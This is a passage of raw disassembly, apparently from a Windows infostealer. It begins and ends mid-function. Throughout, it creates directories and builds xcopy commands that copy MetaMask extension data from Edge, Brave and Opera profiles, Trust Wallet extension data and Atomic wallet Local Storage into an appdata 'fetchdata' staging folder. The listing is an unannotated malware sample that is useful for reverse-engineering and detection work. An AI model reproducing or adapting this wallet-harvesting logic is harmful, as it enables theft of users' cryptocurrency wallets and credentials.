xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rax, rbx
mov rcx, qword [rbp - 0x48]
sub rax, rcx
cmp rax, 6
jb 0x14002f7ba
lea r9, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae r9, qword [rbp - 0x58]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x58]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xc8]
call fcn.140021700
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x120]
call fcn.140152690
mov rax, rbx
mov rcx, qword [rbp - 0x48]
sub rax, rcx
cmp rax, 6
jb 0x14002f7c0
lea r9, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae r9, qword [rbp - 0x58]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x58]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.140021700
nop
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x120]
call fcn.140017b90
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x14002e077
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e072
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f7c6
call fcn.14014fd6c
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], 0
mov rax, rbx
mov rcx, qword [rbp - 0x48]
sub rax, rcx
cmp rax, 7
jb 0x14002f7cc
lea rax, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae rax, qword [rbp - 0x58]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 7
lea r9, str.xcopy__
lea r8, [rbp - 0x58]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x28]
call fcn.140021700
nop
mov r8d, 0x56
lea rdx, str.ejbalbakoplchlghecdalmeeeajnimhm____appdata__fetchdatametamaskedge___K__D__H__Y_n
lea rcx, [rbp + 0x28]
call fcn.14001c180
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
lea rcx, [rbp + 0x120]
call fcn.1400240f0
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x14002e17d
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e178
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f7d2
call fcn.14014fd6c
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x14002e1cb
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e1c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f7d8
call fcn.14014fd6c
lea rcx, [rbp + 0x128]
call fcn.14001b5f0
test rax, rax
jne 0x14002e208
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x120]
add rcx, rax
mov edx, edi
cmp qword [rcx + 0x48], 0
cmovne edx, r12d
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140003f50
nop
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x120], r14
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x11c], edx
lea rcx, [rbp + 0x128]
call fcn.140018bb0
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x120], rax
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x11c], edx
mov qword [rbp + 0x1c8], r13
lea rcx, [rbp + 0x1c8]
call fcn.14014ce90
nop
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0x10
jb 0x14002e2cb
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e2c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f7de
call fcn.14014fd6c
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x14002e30f
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e301
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f7e4
call fcn.14014fd6c
jmp 0x14002e30f
lea r14, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
lea rcx, [rbp + 0x270]
cmp qword [rbp + 0x288], 0x10
cmovae rcx, qword [rbp + 0x270]
lea rdx, [rbp + 0xc8]
call fcn.140164f50
test eax, eax
jne 0x14002e727
lea rcx, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae rcx, qword [rbp - 0x18]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rax, rbx
mov rcx, qword [rbp - 8]
sub rax, rcx
cmp rax, 6
jb 0x14002f7ea
lea r9, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae r9, qword [rbp - 0x18]
mov qword [rsp + 0x30], rdi
lea rax, str._brave
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x18]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 8]
call fcn.140021700
nop
lea rcx, [rbp + 8]
cmp qword [rbp + 0x20], 0x10
cmovae rcx, qword [rbp + 8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rax, rbx
mov rcx, qword [rbp + 0x58]
sub rax, rcx
cmp rax, 6
jb 0x14002f7f0
lea r9, [rbp + 0x48]
cmp qword [rbp + 0x60], 0x10
cmovae r9, qword [rbp + 0x48]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x48]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xc8]
call fcn.140021700
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x120]
call fcn.140152690
mov rax, rbx
mov rcx, qword [rbp + 0x58]
sub rax, rcx
cmp rax, 6
jb 0x14002f7f6
lea r9, [rbp + 0x48]
cmp qword [rbp + 0x60], 0x10
cmovae r9, qword [rbp + 0x48]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x48]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.140021700
nop
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x120]
call fcn.140017b90
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x14002e49f
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e49a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f7fc
call fcn.14014fd6c
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], 0
mov rax, rbx
mov rcx, qword [rbp + 0x58]
sub rax, rcx
cmp rax, 7
jb 0x14002f802
lea rax, [rbp + 0x48]
cmp qword [rbp + 0x60], 0x10
cmovae rax, qword [rbp + 0x48]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 7
lea r9, str.xcopy__
lea r8, [rbp + 0x48]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x28]
call fcn.140021700
nop
mov r8d, 0x57
lea rdx, str._nkbihfbeogaeaoehlefnkodbefgpgknn____appdata__fetchdatametamask_brave___K__D__H__Y_n
lea rcx, [rbp + 0x28]
call fcn.14001c180
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
lea rcx, [rbp + 0x120]
call fcn.1400240f0
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x14002e5a5
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e5a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f808
call fcn.14014fd6c
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x14002e5f3
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e5ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f80e
call fcn.14014fd6c
lea rcx, [rbp + 0x128]
call fcn.14001b5f0
test rax, rax
jne 0x14002e630
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x120]
add rcx, rax
mov edx, edi
cmp qword [rcx + 0x48], 0
cmovne edx, r12d
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140003f50
nop
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x120], r14
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x11c], edx
lea rcx, [rbp + 0x128]
call fcn.140018bb0
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x120], rax
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x11c], edx
mov qword [rbp + 0x1c8], r13
lea rcx, [rbp + 0x1c8]
call fcn.14014ce90
nop
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0x10
jb 0x14002e6ec
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e6e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f814
call fcn.14014fd6c
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x14002e727
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e722
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f81a
call fcn.14014fd6c
lea rcx, [rbp + 0x250]
cmp qword [rbp + 0x268], 0x10
cmovae rcx, qword [rbp + 0x250]
lea rdx, [rbp + 0xc8]
call fcn.140164f50
test eax, eax
jne 0x14002eb6c
lea rcx, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae rcx, qword [rbp - 0x18]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rax, rbx
mov rcx, qword [rbp - 8]
sub rax, rcx
cmp rax, 6
jb 0x14002f820
lea r9, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae r9, qword [rbp - 0x18]
mov qword [rsp + 0x30], rdi
lea rax, [0x1401bdd28]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x18]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 8]
call fcn.140021700
nop
lea rcx, [rbp + 8]
cmp qword [rbp + 0x20], 0x10
cmovae rcx, qword [rbp + 8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rax, rbx
mov rcx, qword [rbp + 0x108]
sub rax, rcx
cmp rax, 6
jb 0x14002f826
lea r9, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0x10
cmovae r9, qword [rbp + 0xf8]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0xf8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xc8]
call fcn.140021700
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x120]
call fcn.140152690
mov rax, rbx
mov rcx, qword [rbp + 0x108]
sub rax, rcx
cmp rax, 6
jb 0x14002f82c
lea r9, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0x10
cmovae r9, qword [rbp + 0xf8]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0xf8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.140021700
nop
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x120]
call fcn.140017b90
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x14002e8d5
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e8d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f832
call fcn.14014fd6c
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], 0
mov rax, rbx
mov rcx, qword [rbp + 0x108]
sub rax, rcx
cmp rax, 7
jb 0x14002f838
lea rax, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0x10
cmovae rax, qword [rbp + 0xf8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 7
lea r9, str.xcopy__
lea r8, [rbp + 0xf8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x28]
call fcn.140021700
nop
mov r8d, 0x57
lea rdx, str._nkbihfbeogaeaoehlefnkodbefgpgknn____appdata__fetchdatametamaskopera___K__D__H__Y_n
lea rcx, [rbp + 0x28]
call fcn.14001c180
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
lea rcx, [rbp + 0x120]
call fcn.1400240f0
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x14002e9ea
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e9e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f83e
call fcn.14014fd6c
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x14002ea38
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ea33
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f844
call fcn.14014fd6c
lea rcx, [rbp + 0x128]
call fcn.14001b5f0
test rax, rax
jne 0x14002ea75
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x120]
add rcx, rax
mov edx, edi
cmp qword [rcx + 0x48], 0
cmovne edx, r12d
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140003f50
nop
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x120], r14
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x11c], edx
lea rcx, [rbp + 0x128]
call fcn.140018bb0
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x120], rax
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x11c], edx
mov qword [rbp + 0x1c8], r13
lea rcx, [rbp + 0x1c8]
call fcn.14014ce90
nop
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0x10
jb 0x14002eb31
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002eb2b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f84a
call fcn.14014fd6c
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x14002eb6c
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002eb67
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f850
call fcn.14014fd6c
lea rcx, [rbp + 0x230]
cmp qword [rbp + 0x248], 0x10
cmovae rcx, qword [rbp + 0x230]
lea rdx, [rbp + 0xc8]
call fcn.140164f50
test eax, eax
jne 0x14002eef0
lea rcx, [rbp + 0x2f0]
cmp qword [rbp + 0x308], 0x10
cmovae rcx, qword [rbp + 0x2f0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rax, rbx
mov rcx, qword [rbp - 0x28]
sub rax, rcx
cmp rax, 6
jb 0x14002f856
lea r9, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
cmovae r9, qword [rbp - 0x38]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x38]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xc8]
call fcn.140021700
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x120]
call fcn.140152690
mov rax, rbx
mov rcx, qword [rbp - 0x28]
sub rax, rcx
cmp rax, 6
jb 0x14002f85c
lea r9, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
cmovae r9, qword [rbp - 0x38]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x38]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.140021700
nop
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x120]
call fcn.140017b90
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x14002eca4
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ec9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f862
call fcn.14014fd6c
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], 0
mov rax, rbx
mov rcx, qword [rbp - 0x28]
sub rax, rcx
cmp rax, 7
jb 0x14002f868
lea rax, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
cmovae rax, qword [rbp - 0x38]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 7
lea r9, str.xcopy__
lea r8, [rbp - 0x38]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x28]
call fcn.140021700
nop
mov r8d, 0x4d
lea rdx, str.egjidjbpglichdcondbcbdnbeeppgdph____appdata__fetchdata_trust___K__D__H__Y_n
lea rcx, [rbp + 0x28]
call fcn.14001c180
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
lea rcx, [rbp + 0x120]
call fcn.1400240f0
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x14002edaa
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002eda5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f86e
call fcn.14014fd6c
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x14002edf8
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002edf3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f874
call fcn.14014fd6c
lea rcx, [rbp + 0x128]
call fcn.14001b5f0
test rax, rax
jne 0x14002ee35
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x120]
add rcx, rax
mov edx, edi
cmp qword [rcx + 0x48], 0
cmovne edx, r12d
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140003f50
nop
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x120], r14
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x11c], edx
lea rcx, [rbp + 0x128]
call fcn.140018bb0
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x120], rax
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x11c], edx
mov qword [rbp + 0x1c8], r13
lea rcx, [rbp + 0x1c8]
call fcn.14014ce90
nop
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0x10
jb 0x14002eef0
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002eeeb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f87a
call fcn.14014fd6c
mov rax, rbx
mov rcx, qword [rbp - 0x68]
sub rax, rcx
cmp rax, 7
jb 0x14002f880
lea r9, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae r9, qword [rbp - 0x78]
mov qword [rsp + 0x30], 7
lea rax, str._atomic
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x78]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x68]
call fcn.140021700
nop
lea rcx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0x10
cmovae rcx, qword [rbp + 0x68]
lea rdx, [rbp + 0xc8]
call fcn.140164f50
test eax, eax
jne 0x14002f2c4
lea rcx, [rbp + 0x310]
cmp qword [rbp + 0x328], 0x10
cmovae rcx, qword [rbp + 0x310]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rax, rbx
mov rcx, qword [rbp + 0x78]
sub rax, rcx
cmp rax, 6
jb 0x14002f886
lea r9, [rbp + 0x68]
cmp qword [rbp + 0x80], 0x10
cmovae r9, qword [rbp + 0x68]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x68]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xc8]
call fcn.140021700
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x120]
call fcn.140152690
mov rax, rbx
mov rcx, qword [rbp + 0x78]
sub rax, rcx
cmp rax, 6
jb 0x14002f88c
lea r9, [rbp + 0x68]
cmp qword [rbp + 0x80], 0x10
cmovae r9, qword [rbp + 0x68]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x68]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.140021700
nop
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x120]
call fcn.140017b90
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x14002f077
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f072
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f892
call fcn.14014fd6c
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], 0
mov rcx, qword [rbp + 0x78]
sub rbx, rcx
cmp rbx, 7
jb 0x14002f898
lea rax, [rbp + 0x68]
cmp qword [rbp + 0x80], 0x10
cmovae rax, qword [rbp + 0x68]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 7
lea r9, str.xcopy__
lea r8, [rbp + 0x68]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x28]
call fcn.140021700
nop
mov r8d, 0x43
lea rdx, str.Local_Storageleveldb____appdata__fetchdata_atomic___K__D__H__Y_n
lea rcx, [rbp + 0x28]
call fcn.14001c180
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
lea rcx, [rbp + 0x120]
call fcn.1400240f0
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x14002f17d
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f178
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f89e
call fcn.14014fd6c
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x14002f1cb
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f1c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f8a4
call fcn.14014fd6c
lea rcx, [rbp + 0x128]
call fcn.14001b5f0
test rax, rax
jne 0x14002f208
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x120]
add rcx, rax
cmp qword [rcx + 0x48], 0
cmovne edi, r12d
or edi, dword [rcx + 0x10]
xor r8d, r8d
mov edx, edi
